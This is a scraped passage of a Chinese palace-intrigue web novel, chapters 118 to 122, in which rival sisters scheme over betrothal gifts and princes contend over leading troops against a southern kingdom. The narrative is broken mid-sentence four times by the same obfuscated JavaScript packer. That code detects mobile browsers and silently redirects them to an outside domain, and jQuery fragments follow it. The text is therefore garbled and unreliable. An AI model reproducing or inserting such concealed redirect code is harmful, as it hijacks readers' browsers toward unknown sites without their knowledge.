“妹妹真是体贴入微,正合我意!”姜姝宁眼底闪过一丝难以捉摸的光芒,“对了,咱们的堂妹姜莲最近也出嫁了,我想从父亲留给我的嫁妆里拿出一部分给她添妆,毕竟是同宗姐妹,你觉得如何?” “莲儿出嫁了?”姜瑶真大吃一惊,“她嫁给了谁?” “这我就不清楚了,妹妹不妨亲自去二叔家问问,顺便帮我把这份贺礼带给她!”姜姝宁说着,示意凌芜拿来一个沉甸甸的木匣子。 姜瑶真哪里还顾得上那木匣子,满脑子都是姜莲出嫁的消息,急匆匆地离开了。 看着她匆忙离去的背影,姜姝宁嘴角勾起一抹冰冷的笑意。 两日前,萧凌川派人秘密送来消息,说是萧修湛纳了个贵妾,而这个贵妾不是别人,正是她们的堂妹姜莲! 姜瑶真机关算尽,想要打造一个姜姝宁的替身,没想到最后这替身竟然被自己的未婚夫给收了。 凌芜在一旁幸灾乐祸道:“这二小姐心思不正,竟然想利用自己的堂妹去勾引四皇子殿下。如今可好,三小姐反而成了三皇子殿下的贵妾,真是搬起石头砸了自己的脚!” “这是她咎由自取,怪不得别人!”姜姝宁眼中闪过一丝厌恶,“只是想到那姜莲日日要装成我的样子,在萧修湛面前搔首弄姿,我就觉得恶心!” 凌芜连忙安慰道:“大小姐别气坏了身子,三小姐再怎么模 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15640006|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 仿您,也及不上您的万分之一。赝品终究是赝品,又怎么能与真品相提并论呢?” 姜姝宁这才露出笑容:“凌芜,你这张嘴真是越来越会说话了!” “大小姐谬赞!” 另一边,姜瑶真怒气冲冲地赶到姜二爷的府邸。 她在心中恨恨地咒骂着:姜莲这个**,还没等她好好利用,竟敢私自嫁人!谁给她的胆子? 姜二爷和姜二夫人一见到她,立刻堆起满脸谄媚的笑容,迎了上来。 “瑶真来了!真是太感谢你了,若不是你从中周旋,我们莲儿怎么可能有机会攀上皇家这根高枝啊!” “什么?三妹嫁入皇家了?嫁给谁了?”姜瑶真迫不及待地追问道,语气中带着一丝难以置信。 姜二爷和姜二夫人面面相觑,似乎对她的反应感到十分惊讶:“你、你竟然不知道?” “我怎么会知道?你们快说,她到底嫁给谁了?”姜瑶真焦急地催促道。 姜二夫人犹豫了一下,吞吞吐吐地说道:“就是……三皇子殿下啊!” 这句话如同晴天霹雳,瞬间将姜瑶真震得魂飞魄散,脸色惨白。 “三皇子殿下?这绝不可能!”她指着姜二夫人的鼻子,声嘶力竭地尖叫起来,“你们简直痴心妄想,白日做梦!三皇子殿下还未与我成婚,怎么可能娶姜莲?” 姜二夫人一听这话,顿时拉下脸来,语气不善道:“我们骗你做什么?我们家莲儿前几日的确成了三皇子殿下的贵妾,三皇子殿下送来的聘礼还在库房里放着呢,要不要带你去看看?” 说着,便起身领着姜瑶真前往库房。 来到库房,姜瑶真一眼就看到了堆放在角落里、印着皇家徽印的聘礼箱子。 打开箱子,那些金包银的首饰、缀满了廉价珍珠的凤冠、质地粗糙的绸缎…… 果然与三皇子送给她的聘礼一模一样! 姜瑶真瞬间失去了理智,彻底崩溃。 她不顾姜二爷和姜二夫人的阻拦,将箱子里的聘礼狠狠地摔在地上,状若疯癫地怒吼道:“姜莲算个什么东西?她凭什么能得到和我一样的聘礼?她也配?” 姜二爷和姜二夫人费了九牛二虎之力,才将失控的姜瑶真赶出了府邸。 姜瑶真独自一人坐在马车上,越想越气,胸腔中燃烧着熊熊怒火:“萧修湛,你风流成性,我或许可以不计较,但你绝不能如此羞辱我!我堂堂相府的次嫡女,岂能容忍自己的聘礼与一个贱妾相同?既然你把我当傻子,就别怪我找人治你了!” 第119章 堂堂皇子妃,自然要最好的! 第一百一十九章堂堂皇子妃,自然要最好的! 姜瑶真回到相府,顾不上其他,径直奔向翠竹院,去找姜姝宁。 “姐姐,我知道你有太后赏赐的金符令,可以随意出入皇宫。敢问姐姐打算何时进宫?可否带上我?我想去见见三皇子殿下。” 姜姝宁嘴角勾起一抹意味深长的笑:“真是巧了,我今日刚做了些甘草蜜饯,正打算给太后送去。妹妹若是想进宫,不如就一同前往吧!” 姜瑶真见她如此轻易地答应,心中不由得生出几分狐疑。 难道她早就知道了姜莲被萧修湛纳为妾的事,故意引她去找二叔二婶,等着看自己笑话? 想到这里,她心中顿时燃起一股难以抑制的怒火。 马车上,她故意道:“姐姐可知姜莲嫁给谁了?说来也真是可笑,她竟然嫁给三皇子殿下做了妾!她平日里最爱模仿姐姐的打扮,如今成了三皇子殿下的妾室,姐姐难道心里一点都不膈应吗?” 姜姝宁淡淡地冲她笑了笑,语气毫无波澜:“妹妹都不觉得膈应,我又有什么好膈应的?” 姜瑶真心头的怒火蹭地一下窜了上来。 她深吸一口气,努力压制内心的真实情绪,装出一副满不在乎的模样:“不过是个妾罢了,说白了跟奴婢又有什么区别?我就当三皇子殿中多了个伺候我的人罢了。只是,我怕就怕在这三妹长得实在太像姐姐了,又爱学姐姐的打扮,若是在宫里被其他皇子瞧见了,也不知道他们会不会误会?” “妹妹不就是想让他们误会,才故意将三妹打扮成我的模样,送到四皇子萧凌川面前的吗?”姜姝宁的笑容带着一丝嘲讽,“只可惜啊,四皇子殿下没看上她,反倒是被三皇子殿下给看上了。妹妹,你这算不算搬起石头砸了自己的脚,自作自受呢?” “你……”姜瑶真被她噎得哑口无言,脸色一阵青一阵白,难看至极。 她本想借着姜莲的事来刺激姜姝宁,让她心里不痛快,没想到却反被姜姝宁三言两语弄得心情郁闷,恼火不已。 罢了,今日她的目的是想办法让自己的聘礼变得更加丰厚,没必要在这种口舌之争上浪费时间。 两人进了宫,姜姝宁提着食盒,款步往慈宁宫的方向走去。 姜瑶真见她身影渐远,这才转身直奔御书房。 御书房内,大总管陈顺恭敬地向皇帝禀告:“陛下,姜家二小姐求见!” “姜家二小姐?不是老三未来的皇妃吗?她来做什么?”皇帝略带疑惑地问。 “奴才问过了,她说事关重要,非要见到陛下才肯说。陛下,您看是否要宣她进来?若是不便,奴才这就打发她回去。”陈顺小心翼翼地请示道。 这几日,凝香被诊断出怀有身孕,皇帝心情大好,对宫人们也格外宽容。 “罢了,想必是有什么要紧事,才会直接找到朕这里来。宣她进来吧!” “是!”陈顺领命,很快便将姜瑶真带进了御书房。 “臣女姜瑶真见过陛下,陛下万福金安!”姜瑶真盈盈下拜,声音娇柔。 “平身。”皇帝抬眼看着她,语气温和,“姜二姑娘今日特意来找朕,不知所为何事啊?” “陛下,臣女有一事相求。”姜瑶真抬起头,神情恳切,“三皇子殿下体恤国情,私下里告诉臣女,近来南月屡次进犯我大邺边境,战事吃紧,他心疼边疆百姓流离失所,所以想将原本用于操办婚事的钱财节省下来,用于赈济灾民,帮助百姓渡过难关,因而主张他和臣女的婚事一切从简。 可臣女的父亲心疼臣女,盼着臣女能风风光光地出嫁,所以主张这大婚的一切费用都由我们姜家自己承担。这样既能减轻皇室的负担,又能让臣女体面地嫁入皇家。陛下,不知您意下如何?” 皇帝听了,脸上露出了赞赏的笑容。 “老三果然心怀百姓,忧国忧民,朕深感欣慰!不过,即便边境战事吃紧,也没到要委屈皇子妃的地步,更何况要让臣子承担皇室婚礼的费用,这万万不可!若是传扬出去,岂不是要让天下人以为我们大邺国库空虚,连一场像样的婚礼都办不起了? 此事休要再提,你且安心,你和老三的大婚,朕自有安排。朕保证,你们的婚礼和聘礼用度,都将按照最好的标准来置办,绝不会让你受委屈!” 姜瑶真心中激动万分,连忙跪下叩首,语气带着一丝难以掩饰的兴奋:“臣女谢陛下隆恩!陛下圣明!” 她心中得意地冷笑,这下萧修湛总不能再随意敷衍她的婚事和聘礼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15640007|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了吧? 那些金包银的首饰、珍珠凤冠、质量次的绸缎,就都留给他的妾室们吧,她堂堂皇子妃,自然是要最好的! —— 慈宁宫内,太后斜倚在软榻上,与姜姝宁闲话家常,脸上堆满了慈祥的笑容。 “哀家正念叨着你呢,你就来了。你做的这甘草蜜饯来得真及时,哀家近来总是觉得嘴里寡淡无味,御膳房那些人做的糕点没滋味,实在是不合哀家的口味。” 站在一旁的吴嬷嬷,语气带着几分无奈:“太后,您身上的红疹才刚好,太医可是千叮咛万嘱咐,要您忌食甜腻之物。御膳房的人也是谨遵医嘱,不敢给您准备太甜的糕点。若不是姜姑娘及时送来这化痰止咳的甘草蜜饯,老奴真怕您又因为吃太多糕点咳嗽了!太后,您就听老奴一句劝,能不能把这害人的甜食给戒了?” 姜姝宁也笑着劝道:“吴嬷嬷说得极是,太后您年岁渐长,饮食上还是清淡一些为好,莫要贪图一时的口腹之欲。” 太后闻言,眼底掠过一丝淡淡的忧伤,语气也变得有些低落:“正因为年岁大了,才更吃不了苦。这把老骨头也不知道还能活几年,不如多吃些甜的,让日子过得舒心些,也算是不枉此生了。” “太后您洪福齐天,身体康健,定能福寿绵长,长命百岁的。”姜姝宁笑着道。 她这番话并非全然是恭维。 前世,在皇帝驾崩之后,太后依然健在,甚至还当上了太皇太后,地位尊贵。 直到姜姝宁被毒害而死,太皇太后依然活得好好的,由此可见,这位太后娘娘的确是个长寿且有福气之人。 太后拿起一块甘草蜜饯,放入口中细细品尝,脸上再次露出笑容。 “还是姜姑娘会说话,这话说得比这蜜饯还要甜!眼看着你妹妹不日就要嫁入皇宫了,再过几年,说不定就能为皇家开枝散叶,膝下环绕着好几个粉雕玉琢的孩子,哀家就不信你见了不会眼馋!” 听到这话,姜姝宁的心头猛然一震,仿佛被一道闪电击中一般,瞬间想起了前世一些事来。 前世,她与萧凌川成婚十年,始终未能诞下一儿半女,而姜瑶真与萧修湛成婚十年,同样也没有子嗣。 这究竟是巧合,还是另有隐情? 第120章 他这是在……对她撒娇? 第一百二十章他这是在……对她撒娇? “你既入了宫,想必也会去探望四皇孙吧?”太后的话将姜姝宁的思绪从前世的回忆中拉了回来。 “是。”姜姝宁微微颔首,轻声应道,“四皇子殿下对臣女有救命之恩,于情于理,臣女都应该去探望他,以表感激之情。” “只是感念他的救命之恩吗?难道就真的没有半分动心?”太后略带几分惋惜地摇了摇头,“哀家也算是阅人无数了,可还从未见过你这般心如磐石的姑娘。若是换作其他女子,恐怕早就芳心暗许,恨不得立刻以身相许了!可怜哀家的四皇孙,好不容易遇到一个让他真心倾慕的女子,却无论做什么都无法打动她的心!” 姜姝宁表面上毫无波澜,内心却五味杂陈。 太后又怎会知道,她没有心动过? 只不过,她比任何人都清楚,心动之后那令人绝望的结局。 在经历了前世的惨痛教训后,她今生才选择了将自己的心牢牢地封闭起来,不跟萧凌川有任何情感牵绊。 “太后您说笑了,这世上可没有规定救命之恩就一定要以身相许的道理。臣女也知道自己对四皇子殿下有所亏欠,所以这段时日定会竭尽所能地回报他。”姜姝宁不卑不亢地回应道。 太后见自己苦口婆心地劝说了半天,却依然没能动摇姜姝宁的心意,不由得叹了一口气:“罢了罢了,哀家真是说不过你。也罢,情爱之事,终究是强求不来的。你还是早些去探望四皇孙吧,他若是知道你要去看他,肯定会很高兴的!” “是,臣女告退,谢太后恩典!”姜姝宁起身告辞。 从慈宁宫出来之后,姜姝宁的心中依然思绪万千。 前世,萧凌川与太后这位皇祖母的关系十分疏离,几乎可以用形同陌路来形容。 可如今,太后却对萧凌川表现出了如此明显的偏爱和维护,这让姜姝宁感到十分不解。 难道真的是因为那日萧凌川通过了太后设下的考验的缘故? 可是,那个所谓的“刺客”不过是太后身边的一个内侍假扮的,萧凌川也并没有真正地救太后的性命,太后为何仅仅凭着这样一件小事,便对萧凌川的态度改观如此之大? 皇家人之间的关系亲疏,从来都不是由血脉亲情所决定的,而是由利益所驱动的。难道说,他们私底下还有其他不为人知的利益牵绊? 凌风大老远就看到姜姝宁朝景和宫的方向而来。 他心中一喜,连忙跑进殿内,对着正在挥汗如雨操练的萧凌川禀报道:“殿下,姜姑娘来了!” “姜……”萧凌川闻言,立即丢下了手中的**,唤来贴身内侍,急切地吩咐道,“快,快去拿纱布来,把我的右手缠起来!” 他可不能让姜姝宁发现自己的右手早就痊愈如初了。 否则,她定然不会再像现在这样,隔三差五地前来探望他。 内侍匆忙赶来,与凌风一起手忙脚乱地给萧凌川缠绕纱布。 然而,时间紧迫,他们还没来得及将纱布缠好,姜姝宁就已经来到了殿门口。 “臣女姜姝宁前来探望四皇子殿下,还请公公帮忙通报一声。”姜姝宁对守在门口的内侍道。 “姜姑娘,您稍等片刻。” 内侍正绞尽脑汁地想着该如何拖延时间,好让姜姝宁晚些进殿,这时,黑豹突然跑了过来。 它一见到姜姝宁,便立刻亲昵地跑到她的脚边,然后四仰八叉地倒在地上,翻转打滚,撒娇卖萌。 姜姝宁连忙蹲下身子,伸手抚摸了它许久,直到它心满意足地起身,这才起身朝殿内走去。 内侍在她身后长长舒了口气:关键时刻,还是黑豹管用啊! 此时,萧凌川右手已经缠好了纱布,他故作虚弱地端坐在书案前,用左手端起茶杯,轻轻抿了一口。 看到姜姝宁走进殿内,他只淡淡地问了句:“你来了?” “臣女见过四皇子殿下。”姜姝宁朝他行个礼,目光关切地落在了他的右手上,“殿下的手可有好些了?” “还是老样子,没什么起色。孙神医不是说了吗,我整条胳膊都断了,筋脉尽毁,哪有那么快就能痊愈?”萧凌川面不改色地说着谎,目光在身上流连,“今日怎么没带些吃食来?” “臣女准备直接在殿下厨房里给殿下做些吃的。”姜姝宁解释道。 “如此甚好。”萧凌川脸上云淡风轻,深邃的桃花眸里却是难以掩饰的愉悦之色。 姜姝宁忽然朝他走近了几步,目光落在了他缠着厚厚纱布的右手上。 萧凌川心中一凛,生怕被她看出什么端倪,下意识地左手覆在了自己的右手上,故作镇定地问道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15645652|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你看什么?” “殿下,你这手上的纱布……包扎得似乎有些不妥当啊。” 姜姝宁微微蹙眉,指了指他手上那团缠得乱七八糟的纱布,肉眼可见的凌乱不堪。 萧凌川轻咳一声,掩饰自己的心虚:“是……是凌风帮我缠的!” 说着,故意瞪了凌风一眼。 凌风心领神会,连忙上前附和道:“是!殿下恕罪!属下向来粗手笨脚,从未帮人包扎过伤口,所以……所以弄得不太好,还请姜姑娘见谅!” 姜姝宁无奈道:“殿下的胳膊伤得这样重,若是包扎不当,恐怕会更难痊愈,留下病根。这样吧,还是让臣女来帮殿下重新包扎一下吧。” 萧凌川眸色微动:“那便有劳姜姑娘了。” 姜姝宁上前一步,小心翼翼地帮他拆下旧的纱布,生怕弄疼了他。 她的动作轻柔,眼神专注,眼间流露出几分不自知的温柔。 她离萧凌川很近,近到他能清晰地闻到她身上那股特有的馨香。 他有些心猿意马,思绪也开始变得飘忽起来。 她娇艳欲滴的红唇近在咫尺,像是无声的邀请。 萧凌川克制了许久,才强压下心中那股想俯身亲吻她的冲动。 何时才能像前世一样,毫无顾忌地对她做尽那些床笫间的亲密之事? 他喉结滚动,心潮起伏,右手下意识地攥紧,仿佛想要抓住什么。 姜姝宁敏锐地察觉到了他手的动作,惊呼道:“殿下,你的手动了!难道是骨头已经开始愈合了吗?” 说着,她便想要伸手去触摸他的右手,想要仔细确认一下他骨头的生长情况。 萧凌川生怕被她发现自己是在装病,连忙一把捂住自己的右手,同时发出一声夸张的呻吟:“啊……我的手好疼啊!” 姜姝宁被他吓了一跳,连忙问道:“那可如何是好?要不……还是让御医来给殿下看看吧?” 说着,她便转身想要离开,却被萧凌川伸手拉住了衣袖。 “不用了,你只要给我做些好吃的,我就不疼了。” 他澈黑的眼眸直勾勾地看着她,湿漉漉的,带着几分讨好和依赖,像极了方才那只黑豹看她时的眼神。 姜姝宁心中掠过一丝异样。 他这是在……对她撒娇? 第121章 咬了她一口 第一百二十一章咬了她一口 姜姝宁从未见过萧凌川这般模样。 前世的记忆中,他始终是一副拒人于千里之外的冷漠模样,除了床笫之间偶尔流露出的疯狂外,其他时候对她总是冷漠疏离。 如今不过是一条胳膊受了伤,他竟变得如此柔弱,甚至还带着几分孩子气。 若是前世,她看到他这般反常的模样,定会心疼不已,恨不得倾尽所有,将世间最珍贵的一切都捧到他面前,只为博他一笑。 可如今,她心中只有深深的忧虑。 他如此不堪一击,将来如何能与萧修湛抗衡? 又如何为她报血海深仇? 她晃了晃被他拉住的衣袖,语气平静无波,像一潭深不见底的古井:“那臣女去给殿下准备吃的,还请殿下松开。” 萧凌川察觉到她语气中的淡漠,那双原本湿漉漉的桃花眸瞬间黯淡了几分。 他原本应该松手的,可不知为何,心底陡然腾升起一股不甘。 节骨分明的手指倏地扣住她的手腕,拉过来在她手背上咬了一口。 力道不重,却在上面留下了明显的红色牙印。 姜姝宁眼底掠过一丝惊恐,几乎是下意识抽回自己的手。 手背像是被烙铁烫过一般,又疼又烫,她整张脸都因此染上了嫣红。 “疼吗?”他看着她,眸色晦暗,“我亦如此。” 他说的是他的心,她却理解成他的手。 “臣女知道,臣女这就去为殿下做饭!”姜姝宁说着,慌忙转身离开。 看着她转身离去的背影,萧凌川心中涌起一股莫名的失落。 他想起前世,她那般在意自己,甚至有次因为他**,说出那句“你若**,妾身也不活了”的话来。 他脸上浮起一抹苦涩的笑,原来,她对他的那份深情与爱意,早在前世就被他挥霍一空了。 姜姝宁去了一趟后厨,开始准备食材。 手背上的异样感觉还未散去,勾起那段她不愿想起的尘封记忆。 前世那些缠绵悱恻的夜晚,萧凌川最喜欢在她身上弄出些痕迹。 吻痕、牙印、淤青……多不胜数,每个印记都彰显着他不为人知的变态喜好。 姜姝宁脸颊滚烫,又羞又恼。 他明知自己没有半点和他再续情愿的意图,却依然几次三番地撩拨试探,简直可恶至极! 后厨里的厨子们对这位未来的“四皇子妃”敬佩有加,毕竟整个王府,也只有姜姝宁做的饭菜,才能让那位挑剔至极的四皇子殿下露出满意的神色。 因此,每次姜姝宁过来下厨,他们都会在一旁殷勤地打下手,顺便偷偷学上几招。 几个厨子趁着姜姝宁专心致志处理一条鲜鱼的功夫,凑在一起压低了声音,偷偷摸摸地闲聊起来。 “姜姑娘每次来都给殿下做吃的,简直就是贤妻良母的典范。你说,她啥时候能当咱们四皇子妃啊?有她在,咱们也能多学几道殿下爱吃的。” 这话恰好被跟来后厨的萧凌川听见,他站在后厨门口,俊美的脸上浮起几分笑意,像是冬日里破云而出的暖阳。 可紧接着,另一个厨子的声音却像一盆冰水泼下: “哎呀,你都不知道,这姜姑娘有不少皇子喜欢,四皇子殿下对手太多了!当初三皇子都求娶过她,她不愿意嫁,后来三皇子就干脆娶了个跟她很像的女子当妾室,藏在他的麟阁宫里,宝贝得不行。” “真的假的?那将来姜姑娘嫁进皇宫,跟那三皇子的妾室,还能分得清谁和谁吗?”另一个厨子捂嘴偷笑,语气里满是揶揄。 萧凌川的脸色瞬间阴沉得能滴出水来,他大步跨进后厨,声音冷得像刀子:“再乱嚼舌根,我就把你们的舌头拔下来炒了喂狗吃!” 那双桃花眸里迸发出森冷的寒意,吓得几个厨子齐刷刷跪下,头磕得咚咚响:“殿下饶命,殿下饶命!” 姜姝宁从厨房里出来时,恰好撞见这一幕。 方才她怎么会觉得萧凌川柔弱呢? 他不是向来都冷酷无情,阴狠毒辣的吗? 见她出来,萧凌川竟神差鬼使想起姜瑶真几次三番对他说,姜姝宁喜欢萧怀瑾那种温润如玉的男子。 满腔怒火顿时被强行压了下去,他对着跪在地上的厨子们冷声道:“都起来吧!下次再让我发现你们背地里嚼舌根,定不轻饶!” “谢殿下!”厨子们如蒙大赦,连滚带爬地从地上站起身,逃也似的钻回后厨,再也不敢出来。 姜姝宁深吸一口气,将心中的不安压下,轻声道:“殿下,用膳了。” 两人相对而坐,气氛略显沉闷。 姜姝宁始终低头,默默地用膳,若有所思。 萧凌川见她迟迟没有主动喂他吃饭的意思,心中略感失落,赌气地用左手夹菜。 他在心里恶狠狠地想,方才应该咬得更狠一些的。 既然无法在她心中留下任何印记,那么,能在她身上留下也是好的。 片刻之后,姜姝宁终于抬起头,打破了沉默:“殿下,臣女有事想与你商议。” “说。”萧凌川将筷子丢在桌上,发出“啪”的一声轻响,神色也变得阴沉起来。 他早就料到她今日来找他,并非只是为了给他做饭吃。 前世她给他做饭,单纯为了让他开心,如今她给他做饭,是为了从他这里获取有价值的消息。 一想到她对自己的亲近是带着某种目的性的利用,他的左心房就不禁隐隐作痛。 “近来,南月屡屡进犯我大邺边境,殿下对此有何看法?”姜姝宁单刀直入地问。 前世,南月虽对大邺虎视眈眈,但慑于大邺的国力,始终不敢轻举妄动。 直到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15645653|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 皇帝病重,朝廷内部各方势力争斗不休,大邺皇宫陷入一片混乱,南月才趁机领兵进犯,一举攻陷大邺数座城池。 如今,皇帝龙体康健,大邺朝堂局势稳定,南月却反常地主动挑起战端,其中必有蹊跷。 听到这话,萧凌川深邃的眼眸中掠过一丝不易察觉的阴霾。 “南月向来狼子野心,做出这等举动倒也并不意外。” “如今南月大军压境,兵锋直指我大邺,想必不日,陛下便会下旨命人率兵迎战。殿下可有什么良策,能让三皇子主动请缨,领兵与南月交战?” 前世,南月进犯之时,恰逢皇帝重病,萧修湛为了博取更多朝臣的支持,不顾一切地请缨出征。 没想到他低估了南月兵力,险些被南月大军围困绞杀在黎城,命丧黄泉。 若非天生神力的阿蒙拼死相护,以血肉之躯为他挡住了如潮水般涌来的敌兵,恐怕他没法活着回京城。 而今生,阿蒙已不在萧修湛身边,正是送他下地狱,永绝后患的绝佳机会! “不可!如今我大邺国力鼎盛,兵强马壮,无论由谁领兵出征,都有九成的把握能将南月击退。若是让萧修湛主动请缨,岂不是白白给了他一个建功立业的机会? 即便南月兵力真的强悍到能够绞杀我大邺将士的地步,让萧修湛这等卑鄙小人轻易死在沙场之上,岂不是太便宜他了?”萧凌川面色阴沉,“这场战事,自然要由我亲自领兵出征!” 姜姝宁一惊,下意识地脱口而出:“可殿下的生母,毕竟是南月人……” “那又如何?我终究是大邺的皇子!”萧凌川冷声道。 姜姝宁立马噤声,她还是低估了萧凌川的野心和冷硬的心性。 他向来醉心权势,为了得到皇帝的认可,巩固自己的地位,做出攻打自己母族之事的举动也不足为奇。 两人各怀心思,谁也没有再主动开口。 用完膳,姜姝宁起身准备告辞,忽地停下脚步,一双清冷的眸子直直地看向萧凌川,试探性地问:“殿下,今生南月进犯的时机,竟比前世提前了许多,莫非这其中,有殿下的手笔?” 萧凌川缓慢地逼近她,微微俯身,幽深的目光与她的视线交缠,带着一丝令人心悸的压迫感。 “作为盟友,我自是不能将军事机密轻易告知于你。”他稍作停顿,声音蓦地低沉下来,透着几分蛊惑人心的意味,“但若你愿成为我的妻子,我会毫无保留,将一切和盘托出。” 姜姝宁心头一震,几乎是下意识地朝他盈盈一拜,语气恭谨而疏离:“是臣女逾越了!臣女告退!” 说完,她匆匆再行一礼,随即头也不回地转身离去,步履仓促。 萧凌川伫立在原地,看着她略显慌乱的背影,嘴角微抽:“……” 他是什么洪水猛兽吗? 竟将她吓成这幅模样。 第122章 鹬蚌相争,渔翁得利 第一百二十二章 鹬蚌相争,渔翁得利 当姜姝宁抵达宫门口时,姜瑶真早已在马车内等候多时。 她脸上写满了幽怨:“姐姐怎么去了这么久?妹妹我都饿坏了!” 姜姝宁似笑非笑地看着她:“怎么,三皇子殿下没有留妹妹用午膳吗?” 姜瑶真顿时噤声,脸色也变得有些不自然。 她今日压根就没有去找萧修湛,而是直接去面见了皇帝。 想必很快,她便能如愿以偿,拥有一场备受瞩目的盛大婚礼了。 萧修湛大概是会生气的,但她管不了那么多了。 她要风光出嫁,要让京城所有世家贵女都为之艳羡,谁都休想在这场婚礼上敷衍了事! 与此同时,熙贵妃怒气冲冲地来到麟阁宫。 “母妃,您怎么了?何人把您气成这样?”萧修湛连忙迎上前,关切地问道。 “还不是你那不懂事的皇子妃!”熙贵妃面色阴沉,怒不可遏地说道,“本宫原本还打算借着你们大婚,将内库的亏空给填补上。谁知她今日竟不知死活地专程去找你父皇,说什么要让姜家承担大婚的所有费用! 你父皇直接来找本宫,让本宫务必尽心竭力地准备大婚事宜,还强调要给准备她一份丰厚的聘礼,绝不能丢了皇家的颜面!这个姜瑶真,真是个成事不足败事有余的蠢货!” “母妃息怒,切莫动气。”萧修湛安抚熙贵妃道,“最近南月贼寇频繁进犯我大邺领土,想必父皇很快便会派人领兵迎战。儿臣想主动请缨,领兵出征,届时若能凯旋而归,定会将父皇赏赐的财物尽数交给母妃,助母妃顺利填补内库的亏空!” 熙贵妃脸上浮起一丝担忧:“战场凶险,刀剑无眼,带兵打仗可不是儿戏,万一受了伤该如何是好?” “母妃放心,此事儿臣已与舅舅周详商议过,如今南月兵马远不及我大邺精锐,他们此番进犯,实乃不自量力,无异于自掘坟墓!” 萧修湛语气笃定,胸有成竹,“儿臣有十足的信心,定能将他们杀得片甲不留,铩羽而归。再说,就算母妃不相信儿臣的实力,也该相信舅舅的,有他在战场上坐镇,定会护儿臣周全!” 熙贵妃这才稍稍放下心来:“既然如此,那就依你吧!” 次日,金銮殿上,皇帝在朝议中提及南月进犯一事,镇国公果然极力举荐萧修湛领兵出征。 萧凌川见状,立刻上前一步,拱手道:“父皇,三哥大婚在即,此时若让他带兵出征,岂不是徒增未来三皇子妃的担忧?儿臣尚未婚配,孑然一身,自当为父皇分忧,才是更适合领兵打仗的不二人选!” 萧修湛见萧凌川竟想抢走这唾手可得的军功,顿时急红了眼,连忙反驳道:“父皇,万万不可!四弟的生母乃是南月之人,谁知他心中是否怀有异心?若他领兵上战场,临阵倒戈,通敌叛国,又当如何是好?” “三哥慎言!”萧凌川面色一沉,语气中带着一丝愠怒,“儿臣所做一切皆是为了大邺的百姓,三哥如此无端诋毁,究竟是何居心?” “四弟莫要动怒,我自然相信你绝不会做出通敌叛国之事。”萧修湛皮笑肉不笑地说道,话锋一转,“只是四弟毕竟是南月血脉,体内流淌着一半南月人的血液,除非我大邺当真到了无人可用的地步,否则,断然不能让你领兵对抗南月敌寇,以免引人非议!” 眼看两人针锋相对,剑拔弩张,高座之上的皇帝终于开了口。 “你们二人一片为国效力之心,朕都看在眼里。”皇帝声音缓缓传来,带着不容置疑的威慑,“不过,朕心中早已有了更合适的人选。” 说着,他将目光投向一旁始终默不作声的二皇子,“老 二,你素来武艺超群,朕心甚慰。朕命你即刻点兵,统领十万精兵强将,务必将南月贼寇驱逐出我大邺疆土,扬我大邺国威!” 二皇子闻言,神色一凛,连忙起身领命,声音洪亮而坚定:“儿臣遵旨!定不辱使命,誓死捍卫大邺疆土!” 下了朝,萧修湛心中怒火中烧,难以平息。 他快步追上萧凌川,语气尖锐地指责道:“鹬蚌相争,渔翁得利!如今这天大的功劳,却白白落到了二哥手里,四弟,你可满意了?” “当然满意!”萧凌川闻言,嘴角勾起一抹意味深长的笑,“只要能让三哥你与这功劳失之交臂,最终花落谁家,对我而言都无关紧要。” “你……” 萧修湛这才意识到萧凌川从一开始就没打算真的领兵出征,他的真正目的,不过是阻止自己得到这个立功的机会罢了。 他怒火攻心,攥紧了拳头,阴鸷的目光中充满了愤恨与不甘。 萧凌川,当真是一块令人厌恶至极的绊脚石! 萧修湛回到麟阁宫,依旧怒意未消。 姜莲端了茶水来给他喝,见他眉头紧锁,柔声问:“殿下可是有什么烦心事?” “我原本有个唾手可得的立功机会,谁知竟被四弟从中作梗,硬生生给搅黄了,如今反倒便宜了那个一向默默无闻的二哥!”萧修湛一脸不甘道。 姜莲眨了眨眼:“那二皇子殿下,与殿下是同一阵营之人吗?” 